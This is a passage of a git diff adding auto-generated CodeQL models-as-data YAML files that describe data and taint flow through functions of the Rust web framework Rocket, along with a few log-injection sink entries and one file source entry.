"::with_retry", "Argument[0]", "ReturnValue.Field[crate::response::stream::sse::Event::retry].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::with_retry", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::stream::sse::EventStream::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::heartbeat", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::response::stream::text::TextStream(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_error", "Argument[0]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)].Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_error", "Argument[self].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)].Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_error", "Argument[self].Field[crate::result::Result::Err(0)]", "ReturnValue.Field[crate::outcome::Outcome::Error(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_error", "Argument[self].Field[crate::result::Result::Ok(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_forward", "Argument[0].Field[0]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)].Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_forward", "Argument[0].Field[1]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)].Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_forward", "Argument[0]", "ReturnValue.Field[crate::outcome::Outcome::Forward(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::or_forward", "Argument[self].Field[crate::result::Result::Ok(0)]", "ReturnValue.Field[crate::outcome::Outcome::Success(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::rkt::Rocket(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::rkt::Rocket(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[crate::rkt::Rocket(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::attach", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::configure", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::default_tcp_http_server", "Argument[self]", "Argument[0].Parameter[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::manage", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[crate::route::route::StaticInfo::format]", "ReturnValue.Field[crate::route::route::Route::format]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[crate::route::route::StaticInfo::method]", "ReturnValue.Field[crate::route::route::Route::method]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0].Field[crate::route::route::StaticInfo::rank].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::route::route::Route::rank]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_base", "Argument[self].Field[crate::route::route::Route::uri].Field[crate::route::uri::RouteUri::base]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::map_base", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::new", "Argument[0]", "ReturnValue.Field[crate::route::route::Route::method]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::ranked", "Argument[1]", "ReturnValue.Field[crate::route::route::Route::method]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::route::uri::RouteUri::origin]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::as_str", "Argument[self].Field[crate::route::uri::RouteUri::source]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::default_rank", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::query", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::serde::json::Json(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::serde::json::Json(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[crate::serde::json::Json(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_uri_param", "Argument[0]", "ReturnValue.Field[crate::serde::json::Json(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::serde::json::Json(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from", "Argument[0]", "ReturnValue.Field[crate::serde::msgpack::MsgPack(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::serde::msgpack::MsgPack(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref_mut", "Argument[self].Field[crate::serde::msgpack::MsgPack(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::into_inner", "Argument[self].Field[crate::serde::msgpack::MsgPack(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::allow", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::block", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::disable", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::enable", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::state::State(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::inner", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::inner", "Argument[self].Field[crate::state::State(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::respond_to", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::len_into_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::clone", "Argument[self].Field[crate::trip_wire::TripWire::state].Reference", "ReturnValue.Field[crate::trip_wire::TripWire::state]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::deref", "Argument[self].Field[crate::trip_wire::TripWire::state]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_segments", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::finalize", "Argument[0].Field[crate::form::from_form::VecContext::errors]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::finalize", "Argument[0].Field[crate::form::from_form::VecContext::items]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::init", "Argument[0]", "ReturnValue.Field[crate::form::from_form::VecContext::opts]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::len_into_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::len_into_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_value", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::from_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "crate::catcher::catcher::default_handler", "Argument[0]", "ReturnValue.Field[crate::response::response::Response::status].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "crate::form::validate::try_with", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "crate::form::validate::with", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "crate::prepend", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/rwf2/Rocket:rocket", "::signal_stream", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::expect", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::poll_read", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::dispatch", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::handle_error", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::matches", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket", "::respond_to", "Argument[self]", "log-injection", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sourceModel + data: + - ["repo:https://github.com/rwf2/Rocket:rocket", "::to_native_config", "ReturnValue", "file", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_codegen.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_codegen.model.yml new file mode 100644 index 000000000000..3c08a3aa283d --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_codegen.model.yml @@ -0,0 +1,62 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::with_span", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from_uri_param", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::attribute::param::Dynamic::name]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::parse", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::attribute::param::parse::Error::segment]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::parse", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::attribute::param::parse::Error::source]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::parse", "Argument[1]", "ReturnValue.Field[crate::attribute::param::Parameter::Static(0)].Field[crate::name::Name::span]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::parse", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::attribute::param::parse::Error::source_span]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::parse", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::attribute::param::parse::Error::span]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::attribute::param::Guard::source]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from", "Argument[0]", "ReturnValue.Field[crate::attribute::param::Guard::source]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from", "Argument[1]", "ReturnValue.Field[crate::attribute::param::Guard::fn_ident]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from", "Argument[2]", "ReturnValue.Field[crate::attribute::param::Guard::ty]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::dynamic", "Argument[self].Field[crate::attribute::param::Parameter::Dynamic(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::dynamic_mut", "Argument[self].Field[crate::attribute::param::Parameter::Dynamic(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::guard", "Argument[self].Field[crate::attribute::param::Parameter::Guard(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::ignored", "Argument[self].Field[crate::attribute::param::Parameter::Ignored(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::parse", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::attribute::param::parse::Error::segment]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::parse", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::attribute::param::parse::Error::source]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::parse", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::attribute::param::parse::Error::source_span]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::parse", "Argument[1]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[crate::attribute::param::parse::Error::span]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::static", "Argument[self].Field[crate::attribute::param::Parameter::Static(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::take_dynamic", "Argument[self].Field[crate::attribute::param::Parameter::Dynamic(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::new", "Argument[0]", "ReturnValue.Field[crate::attribute::param::parse::Error::segment]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::new", "Argument[0]", "ReturnValue.Field[crate::attribute::param::parse::Error::source]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::new", "Argument[1]", "ReturnValue.Field[crate::attribute::param::parse::Error::source_span]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::new", "Argument[1]", "ReturnValue.Field[crate::attribute::param::parse::Error::span]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::new", "Argument[2]", "ReturnValue.Field[crate::attribute::param::parse::Error::kind]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::source", "Argument[0]", "Argument[self].Field[crate::attribute::param::parse::Error::source]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::source", "Argument[0]", "ReturnValue.Field[crate::attribute::param::parse::Error::source]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::source", "Argument[1]", "Argument[self].Field[crate::attribute::param::parse::Error::source_span]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::source", "Argument[1]", "ReturnValue.Field[crate::attribute::param::parse::Error::source_span]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::source", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::attribute::route::parse::Route::attr]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::attribute::route::parse::Route::handler]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::upgrade_dynamic", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::attribute::param::Guard::source]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::upgrade_param", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::attribute::route::parse::RouteUri::origin]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::as_expr", "Argument[self].Field[crate::bang::uri_parsing::ArgExpr::Expr(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::unwrap_expr", "Argument[self].Field[crate::bang::uri_parsing::ArgExpr::Expr(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::bang::uri_parsing::UriLit(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::derive::form_field::FieldName::Cased(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::derive::form_field::FieldName::Uncased(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::respanned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::as_ref", "Argument[self].Field[crate::name::Name::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::name::Name::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::as_str", "Argument[self].Field[crate::name::Name::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::new", "Argument[1]", "ReturnValue.Field[crate::name::Name::span]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::span", "Argument[self].Field[crate::name::Name::span]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::from", "Argument[0]", "ReturnValue.Field[crate::proc_macro_ext::Diagnostics(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::head_err_or", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::proc_macro_ext::StringLit(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::deref", "Argument[self].Field[crate::syn_ext::Child::ty]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "::ty", "Argument[self]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_codegen", "crate::derive::form_field::first_duplicate", "Argument[0].Element", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_http.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_http.model.yml new file mode 100644 index 000000000000..c987027c1855 --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-rocket_http.model.yml @@ -0,0 +1,215 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "<&[u8] as crate::uri::fmt::from_uri_param::FromUriParam>::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "<&crate::path::Path as crate::uri::fmt::from_uri_param::FromUriParam>::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "<&str as crate::uri::fmt::from_uri_param::FromUriParam>::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "<_ as crate::ext::IntoCollection>::mapped", "Argument[self]", "Argument[0].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::header::accept::QMediaType(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::deref", "Argument[self].Field[crate::header::accept::QMediaType(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::media_type", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::media_type", "Argument[self].Field[crate::header::accept::QMediaType(0)]", 